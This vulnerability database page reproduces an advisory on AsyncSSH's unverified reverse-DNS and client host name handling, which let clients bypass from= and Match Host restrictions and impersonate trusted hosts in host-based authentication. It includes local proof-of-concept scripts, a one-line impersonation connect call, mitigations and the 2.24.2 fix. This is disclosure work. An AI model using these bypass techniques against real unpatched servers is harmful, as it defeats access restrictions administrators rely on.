
Cloud Vulnerability DB
A community-led vulnerabilities database
In AsyncSSH 1.13.1 through 2.24.1, an AsyncSSH server relied on client host names that it never verified, in three related ways:
from= and Match Host (2.3.0 through 2.24.1): with rdns_lookup=True or UseDNS yes, the server used the name from a reverse DNS (PTR) lookup of the client's address without checking that the name resolved back to that address. This name was used for from= restrictions in authorized_keys (including on cert-authority entries) and for Match Host in the server config.rdns_lookup setting, and used the resulting name without checking it, both to look up known_client_hosts and to check the principals in client host certificates.validate_host_based_user() was called with the host name the client claimed in its request, not the name its host key was checked against.The PTR record for an address is controlled by whoever controls that address's reverse DNS zone, normally the holder of the address block. A client that controls the PTR record for its own address can make it return any name, including one belonging to another host, or a string that looks like an IP address. OpenSSH guards against this by using a PTR name only if it resolves back to the client's address and isn't itself an IP address. AsyncSSH didn't make either check.
For problem 1, a client could pass a host name restriction such as from="*.corp.example" by setting its PTR record to a matching name. It could pass an address wildcard restriction such as from="10.1.2.*" by setting its PTR record to an address-like string such as 10.1.2.3, because wildcard patterns match against either the host name or the address. CIDR patterns such as from="10.1.2.0/24" compare only the actual address, so they weren't affected.
For problem 2, known_client_hosts entries were looked up by the unverified PTR name, and the principals in a client's host certificate were checked against it. This happened even with rdns_lookup off, because host-based authentication did its own lookup. Because entries match against either the host name or the address, an address-like PTR value such as 10.1.2.3 also matched an entry listing that IP address, so listing client hosts by address didn't prevent this.
For problem 3, unless trust_client_host was set, the server ignored the host name sent by the client when checking the host key, and only logged a message if it differed from the name it had looked up. The callback was then given the client's claimed name, so its client_host argument didn't necessarily match the host whose key was verified. When trust_client_host is set, the claimed name is used for both the key check and the callback, so that configuration isn't affected by problem 3.
In every case the client still needs a valid credential. What's lost is the restriction on where that credential can be used from, or which client host it is treated as.
rdns_lookup / UseDNS and restricts a key or certificate with from= or enables an authentication method under Match Host: a client controlling the PTR record for its own address can use that key or certificate from outside the allowed hosts or addresses.validate_host_based_user() and uses client_host in its decision: someone holding the private host key of one trusted client host can claim to be a different trusted client host, and log in as users the application allows only from that other host. The default implementation compares only the user names, so it isn't affected.rdns_lookup / UseDNS disabled (the default), or use CIDR patterns in from=.known_client_hosts doesn't help, as described above.validate_host_based_user(), base host decisions on the client's address from the connection (for example, conn.get_extra_info('peername') saved in connection_made()) rather than on the client_host argument.The script below replaces socket.getnameinfo to return a chosen PTR value. Names under .example don't resolve, so trusted.corp.example doesn't map back to 127.0.0.1. Each line shows that forward check next to the result.
import asyncio
import socket
import tempfile
from unittest.mock import patch
import asyncssh
def forward_confirms(name, addr):
"""What OpenSSH does: does the name resolve back to the address?"""
try:
infos = socket.getaddrinfo(name, None)
except socket.gaierror:
return False
return any(info[4][0] == addr for info in infos)
async def attempt(ptr, from_opt, rdns_lookup):
host_key = asyncssh.generate_private_key('ssh-ed25519')
client_key = asyncssh.generate_private_key('ssh-ed25519')
with tempfile.NamedTemporaryFile('w', suffix='.keys', delete=False) as f:
f.write('from="%s" %s' % (from_opt,
client_key.export_public_key().decode()))
auth_keys = f.name
def fake_getnameinfo(sockaddr, flags):
return (ptr, str(sockaddr[1]))
with patch('socket.getnameinfo', fake_getnameinfo):
server = await asyncssh.listen(
'127.0.0.1', 0, server_host_keys=[host_key],
authorized_client_keys=auth_keys, rdns_lookup=rdns_lookup)
port = server.sockets[0].getsockname()[1]
try:
async with asyncssh.connect(
'127.0.0.1', port, username='user', known_hosts=None,
client_keys=[client_key], password=None,
kbdint_auth=False):
result = 'ACCEPTED'
except asyncssh.PermissionDenied:
result = 'DENIED'
finally:
server.close()
await server.wait_closed()
print('PTR=%-22s from="%s" rdns_lookup=%-5s PTR->127.0.0.1? %-5s => %s'
% (ptr, from_opt, rdns_lookup,
forward_confirms(ptr, '127.0.0.1'), result))
async def main():
print('asyncssh', asyncssh.__version__)
# 0. Control: PTR that resolves back to the client -> name match works
await attempt('localhost', 'localhost', True)
# 1. Unverified PTR satisfies a host-name restriction
await attempt('trusted.corp.example', '*.corp.example', True)
# 2. Control: same key and PTR, rdns_lookup off -> from= enforced by IP
await attempt('trusted.corp.example', '*.corp.example', False)
# 3. Control: PTR outside the pattern -> from= enforced by name
await attempt('other.example', '*.corp.example', True)
# 4. An address-shaped PTR satisfies an address-only restriction
await attempt('10.1.2.3', '10.1.2.*', True)
# 5. Control: same as 4 with rdns_lookup off
await attempt('10.1.2.3', '10.1.2.*', False)
asyncio.run(main())Output with 2.24.1:
asyncssh 2.24.1
PTR=localhost from="localhost" rdns_lookup=True PTR->127.0.0.1? True => ACCEPTED
PTR=trusted.corp.example from="*.corp.example" rdns_lookup=True PTR->127.0.0.1? False => ACCEPTED
PTR=trusted.corp.example from="*.corp.example" rdns_lookup=False PTR->127.0.0.1? False => DENIED
PTR=other.example from="*.corp.example" rdns_lookup=True PTR->127.0.0.1? False => DENIED
PTR=10.1.2.3 from="10.1.2.*" rdns_lookup=True PTR->127.0.0.1? False => ACCEPTED
PTR=10.1.2.3 from="10.1.2.*" rdns_lookup=False PTR->127.0.0.1? False => DENIEDCases 1 and 4 are accepted even though the PTR name doesn't resolve back to the client address. In a separate test using real DNS, OpenSSH with UseDNS yes refused the same key in case 1 and AsyncSSH 2.24.1 accepted it.
The script below replaces socket.getnameinfo in the same way, with rdns_lookup left at its default (off). The client connects from 127.0.0.1, which isn't an address listed for the trusted host.
import asyncio
from unittest.mock import patch
import asyncssh
ca_key = asyncssh.generate_private_key('ssh-ed25519')
host_key = asyncssh.generate_private_key('ssh-ed25519')
host_cert = ca_key.generate_host_certificate(
host_key, 'trusted', principals=['trusted.corp.example'])
server_key = asyncssh.generate_private_key('ssh-ed25519')
def pub(key):
return key.convert_to_public().export_public_key().decode().strip()
class Server(asyncssh.SSHServer):
def begin_auth(self, username):
return True
def host_based_auth_supported(self):
return True
def validate_host_based_user(self, username, client_host,
client_username):
return True
async def attempt(ptr, known_client_hosts, client_host_key):
def fake_getnameinfo(sockaddr, flags):
return ptr, str(sockaddr[1])
with patch('socket.getnameinfo', fake_getnameinfo):
server = await asyncssh.listen(
'127.0.0.1', 0, server_factory=Server,
server_host_keys=[server_key],
known_client_hosts=known_client_hosts.encode())
port = server.sockets[0].getsockname()[1]
try:
async with asyncssh.connect(
'127.0.0.1', port, username='user', known_hosts=None,
client_keys=None, password=None, kbdint_auth=False,
client_host_keys=[client_host_key],
client_host='client', client_username='user'):
result = 'ACCEPTED'
except asyncssh.PermissionDenied:
result = 'DENIED'
finally:
server.close()
await server.wait_closed()
entry = known_client_hosts.split()[:-2]
print(f'PTR={ptr:22} known_client_hosts={" ".join(entry):28} => {result}')
async def main():
print('asyncssh', asyncssh.__version__)
# 1. Host key listed by name, PTR set to that name
await attempt('trusted.corp.example',
f'trusted.corp.example {pub(host_key)}\n', host_key)
# 2. Host key listed by address, PTR set to that address
await attempt('10.1.2.3', f'10.1.2.3 {pub(host_key)}\n', host_key)
# 3. Host certificate principal matched against the PTR name
await attempt('trusted.corp.example',
f'@cert-authority * {pub(ca_key)}\n', (host_key, host_cert))
# 4. Control: PTR doesn't match the entry
await attempt('other.example',
f'trusted.corp.example {pub(host_key)}\n', host_key)
asyncio.run(main())Output with 2.24.1:
asyncssh 2.24.1
PTR=trusted.corp.example known_client_hosts=trusted.corp.example => ACCEPTED
PTR=10.1.2.3 known_client_hosts=10.1.2.3 => ACCEPTED
PTR=trusted.corp.example known_client_hosts=@cert-authority * => ACCEPTED
PTR=other.example known_client_hosts=trusted.corp.example => DENIEDCases 1 to 3 are accepted from an address the trusted host doesn't have: by name, by an address-like PTR value matching an IP entry, and by a host certificate principal.
On the server, known_client_hosts lists the client's real host (host A) with host key A, and admin-ws.corp.test with host key B. validate_host_based_user() allows user admin only when client_host is admin-ws.corp.test.
On host A, holding only host key A, the client runs:
await asyncssh.connect(server_address, username='admin', client_host_keys=[host_key_a], client_host='admin-ws.corp.test', client_username='root')
The host key check passes for host A, the callback is called with admin-ws.corp.test, and the login as admin is accepted. With client_host set to host A's own name, the callback gets that name and the login is refused.
This issue is fixed in AsyncSSH 2.24.2. With this fix, host-based authentication only matches host names in known_client_hosts when rdns_lookup is enabled on the server. Otherwise, the client's IP address is used, both for this matching and as the client_host argument passed to validate_host_based_user(), unless trust_client_host is set.
Thanks to GitHub user yutljp for reporting the reverse DNS issues and providing a very detailed analysis and reproduction, and to Chris Purcell (L3Digital LLC) for reporting the host-based authentication callback issue.
Source: NVD
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."